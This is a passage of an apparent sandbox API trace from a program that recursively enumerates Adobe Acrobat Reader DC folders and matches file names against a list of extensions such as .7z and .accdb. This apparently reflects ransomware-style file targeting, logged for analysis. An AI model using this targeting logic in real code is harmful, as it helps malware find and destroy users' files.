dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0286.413] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0286.413] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4681f78 [0286.413] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\hu-hu") returned 104 [0286.413] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\hu-hu\\*", lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0x380bda0 [0286.414] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0286.414] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0286.414] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0286.414] FindClose (in: hFindFile=0x380bda0 | out: hFindFile=0x380bda0) returned 1 [0286.414] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0286.414] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0286.414] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4681f78 [0286.415] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\it-it") returned 104 [0286.415] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\it-it\\*", lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0x380bda0 [0286.415] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0286.415] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0286.415] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0286.415] FindClose (in: hFindFile=0x380bda0 | out: hFindFile=0x380bda0) returned 1 [0286.415] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0286.415] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0286.415] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4681f78 [0286.415] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ja-jp") returned 104 [0286.415] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ja-jp\\*", lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0x380bda0 [0286.416] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0286.416] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0286.416] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0286.416] FindClose (in: hFindFile=0x380bda0 | out: hFindFile=0x380bda0) returned 1 [0286.416] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0286.416] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0286.416] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4681f78 [0286.416] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ko-kr") returned 104 [0286.416] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ko-kr\\*", lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0x380bda0 [0286.417] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0286.417] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0286.417] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0286.417] FindClose (in: hFindFile=0x380bda0 | out: hFindFile=0x380bda0) returned 1 [0286.417] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0286.417] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0286.417] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4681f78 [0286.417] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\nb-no") returned 104 [0286.417] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\nb-no\\*", lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0x380bda0 [0286.418] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0286.418] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0286.418] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0286.418] FindClose (in: hFindFile=0x380bda0 | out: hFindFile=0x380bda0) returned 1 [0286.418] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0286.418] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0286.418] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4681f78 [0286.418] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\nl-nl") returned 104 [0286.418] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\nl-nl\\*", lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0x380bda0 [0286.418] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0286.419] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0286.419] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0286.419] FindClose (in: hFindFile=0x380bda0 | out: hFindFile=0x380bda0) returned 1 [0286.419] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0286.419] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0286.419] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4681f78 [0286.419] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\pl-pl") returned 104 [0286.419] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\pl-pl\\*", lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0x380bda0 [0286.419] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0286.419] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0286.419] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0286.419] FindClose (in: hFindFile=0x380bda0 | out: hFindFile=0x380bda0) returned 1 [0286.420] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0286.420] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0286.420] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4681f78 [0286.420] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\pt-br") returned 104 [0286.420] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\pt-br\\*", lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0x380bda0 [0286.421] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0286.421] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0286.421] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0286.421] FindClose (in: hFindFile=0x380bda0 | out: hFindFile=0x380bda0) returned 1 [0286.421] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0286.421] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0286.421] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4681f78 [0286.421] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ro-ro") returned 104 [0286.421] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ro-ro\\*", lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0x380bda0 [0286.421] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0286.421] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0286.421] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0286.422] FindClose (in: hFindFile=0x380bda0 | out: hFindFile=0x380bda0) returned 1 [0286.422] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0286.422] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0286.422] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4681f78 [0286.422] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\root") returned 103 [0286.422] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\root\\*", lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0x380bda0 [0286.422] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0286.422] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0286.422] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0286.422] FindClose (in: hFindFile=0x380bda0 | out: hFindFile=0x380bda0) returned 1 [0286.423] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0286.423] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0286.423] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4681f78 [0286.423] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ru-ru") returned 104 [0286.423] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ru-ru\\*", lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0x380bda0 [0286.423] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0286.423] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0286.423] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0286.423] FindClose (in: hFindFile=0x380bda0 | out: hFindFile=0x380bda0) returned 1 [0286.423] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0286.423] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0286.424] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4681f78 [0286.424] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sk-sk") returned 104 [0286.424] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sk-sk\\*", lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0x380bda0 [0286.425] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0286.425] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0286.425] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0286.425] FindClose (in: hFindFile=0x380bda0 | out: hFindFile=0x380bda0) returned 1 [0286.425] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0286.425] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0286.425] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4681f78 [0286.425] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sl-si") returned 104 [0286.425] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sl-si\\*", lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0x380bda0 [0286.426] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0286.426] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0286.426] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0286.426] FindClose (in: hFindFile=0x380bda0 | out: hFindFile=0x380bda0) returned 1 [0286.426] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0286.426] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0286.426] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4681f78 [0286.427] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sl-sl") returned 104 [0286.427] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sl-sl\\*", lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0x380bda0 [0286.427] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0286.427] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0286.427] FindClose (in: hFindFile=0x380bda0 | out: hFindFile=0x380bda0) returned 1 [0286.427] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0286.427] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0286.427] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4681f78 [0286.427] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sv-se") returned 104 [0286.427] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sv-se\\*", lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0x380bda0 [0286.428] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0286.428] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0286.428] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0286.428] FindClose (in: hFindFile=0x380bda0 | out: hFindFile=0x380bda0) returned 1 [0286.428] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0286.428] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0286.428] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4681f78 [0286.428] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\tr-tr") returned 104 [0286.428] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\tr-tr\\*", lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0x380bda0 [0286.428] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0286.429] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0286.429] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0286.429] FindClose (in: hFindFile=0x380bda0 | out: hFindFile=0x380bda0) returned 1 [0286.429] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0286.429] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0286.429] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0286.429] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4681f78 [0286.429] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\uk-ua") returned 104 [0286.429] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\uk-ua\\*", lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0x380bda0 [0286.429] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0286.429] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0286.430] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0286.430] FindClose (in: hFindFile=0x380bda0 | out: hFindFile=0x380bda0) returned 1 [0286.430] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0286.430] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0286.430] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4681f78 [0286.430] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\zh-cn") returned 104 [0286.430] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\zh-cn\\*", lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0x380bda0 [0286.430] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0286.430] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0286.430] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0286.430] FindClose (in: hFindFile=0x380bda0 | out: hFindFile=0x380bda0) returned 1 [0286.431] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0286.431] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0286.431] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4681f78 [0286.431] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\zh-tw") returned 104 [0286.431] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\zh-tw\\*", lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0x380bda0 [0286.431] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0286.431] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0286.431] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0286.431] FindClose (in: hFindFile=0x380bda0 | out: hFindFile=0x380bda0) returned 1 [0286.431] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0286.431] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 0 [0286.431] FindClose (in: hFindFile=0x380bd60 | out: hFindFile=0x380bd60) returned 1 [0286.431] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0286.432] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 0 [0286.432] FindClose (in: hFindFile=0x380bce0 | out: hFindFile=0x380bce0) returned 1 [0286.432] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0286.432] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 0 [0286.432] FindClose (in: hFindFile=0x380c2a0 | out: hFindFile=0x380c2a0) returned 1 [0286.432] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0286.433] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 1 [0286.433] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x44e0730 [0286.434] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app-api") returned 94 [0286.434] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app-api\\*", lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 0x380c2a0 [0286.777] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 1 [0286.778] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 1 [0286.778] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4630f28 [0286.778] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app-api\\dev") returned 98 [0286.778] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app-api\\dev\\*", lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 0x380bce0 [0286.844] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 1 [0286.844] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 1 [0286.844] lstrlenW (lpString="app-api.js") returned 10 [0286.844] lstrlenW (lpString=".1cd") returned 4 [0286.844] lstrcmpiW (lpString1=".1cd", lpString2="i.js") returned -1 [0286.845] lstrlenW (lpString=".3ds") returned 4 [0286.845] lstrcmpiW (lpString1=".3ds", lpString2="i.js") returned -1 [0286.845] lstrlenW (lpString=".3fr") returned 4 [0286.845] lstrcmpiW (lpString1=".3fr", lpString2="i.js") returned -1 [0286.845] lstrlenW (lpString=".3g2") returned 4 [0286.845] lstrcmpiW (lpString1=".3g2", lpString2="i.js") returned -1 [0286.845] lstrlenW (lpString=".3gp") returned 4 [0286.845] lstrcmpiW (lpString1=".3gp", lpString2="i.js") returned -1 [0286.845] lstrlenW (lpString=".7z") returned 3 [0286.845] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0286.845] lstrlenW (lpString=".accda") returned 6 [0286.845] lstrcmpiW (lpString1=".accda", lpString2="api.js") returned -1 [0286.845] lstrlenW (lpString=".accdb") returned 6 [0286.845] lstrcmpiW (lpString1=".accdb", 